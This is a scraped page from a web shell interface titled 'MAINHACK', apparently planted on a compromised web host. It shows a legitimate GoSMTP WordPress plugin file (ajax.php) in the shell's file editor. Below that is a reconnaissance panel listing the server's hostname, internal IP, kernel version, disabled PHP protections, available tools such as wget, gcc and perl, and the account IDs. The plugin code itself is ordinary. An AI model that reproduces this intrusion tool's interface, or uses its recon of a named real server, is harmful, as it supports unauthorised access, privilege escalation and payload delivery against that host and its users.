[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: ajax.php
File is not writable. Editing disabled.
<?php /* * GoSMTP * https://gosmtp.net * (c) Softaculous Team */ if(!defined('GOSMTP_VERSION')){ die('Hacking Attempt!'); } add_action('wp_ajax_gosmtp_test_mail', 'gosmtp_test_mail'); function gosmtp_test_mail(){ global $phpmailer; if(!current_user_can('manage_options')){ wp_send_json_error(__('You do not have required access to do this action', 'gosmtp')); } // Check nonce check_admin_referer( 'gosmtp_ajax' , 'gosmtp_nonce' ); $to = gosmtp_optpost('reciever_test_email'); $subject = gosmtp_optpost('smtp_test_subject'); $body = gosmtp_optpost('smtp_test_message'); $use_template = gosmtp_optpost('use_html_template'); // TODO: send debug param if(isset($_GET['debug'])){ // show wp_mail() errors add_action( 'wp_mail_failed', function( $wp_error ){ echo "<pre>"; print_r($wp_error); echo "</pre>"; }, 10, 1 ); } $msg = array(); $headers = []; // TODO check for mailer if(!get_option('gosmtp_options')){ $msg['error'] = __('You have not configured SMTP settings yet !', 'gosmtp'); }else{ if(!empty($use_template) && function_exists('gosmtp_pro_test_html_template')){ $body = gosmtp_pro_test_html_template(); $headers = ['Content-Type: text/html; charset=UTF-8']; } $result = wp_mail($to, $subject, $body, $headers); if(!$result){ $msg['error'] = __('Unable to send mail !', 'gosmtp').(empty($phpmailer->ErrorInfo) ? '' : ' '.__('Error : ', 'gosmtp').$phpmailer->ErrorInfo); }else{ $msg['response'] = __('Message sent successfully !', 'gosmtp'); } } gosmtp_json_output($msg); } function gosmtp_close_update_notice(){ if(!wp_verify_nonce($_GET['security'], 'gosmtp_promo_nonce')){ wp_send_json_error('Security Check failed!'); } if(!current_user_can('manage_options')){ wp_send_json_error('You don\'t have privilege to close this notice!'); } $plugin_update_notice = get_option('softaculous_plugin_update_notice', []); $available_update_list = get_site_transient('update_plugins'); $to_update_plugins = apply_filters('softaculous_plugin_update_notice', []); if(empty($available_update_list) || empty($available_update_list->response)){ return; } foreach($to_update_plugins as $plugin_path => $plugin_name){ if(isset($available_update_list->response[$plugin_path])){ $plugin_update_notice[$plugin_path] = $available_update_list->response[$plugin_path]->new_version; } } update_option('softaculous_plugin_update_notice', $plugin_update_notice); } add_action('wp_ajax_gosmtp_close_update_notice', 'gosmtp_close_update_notice');
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 690.95 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: N/A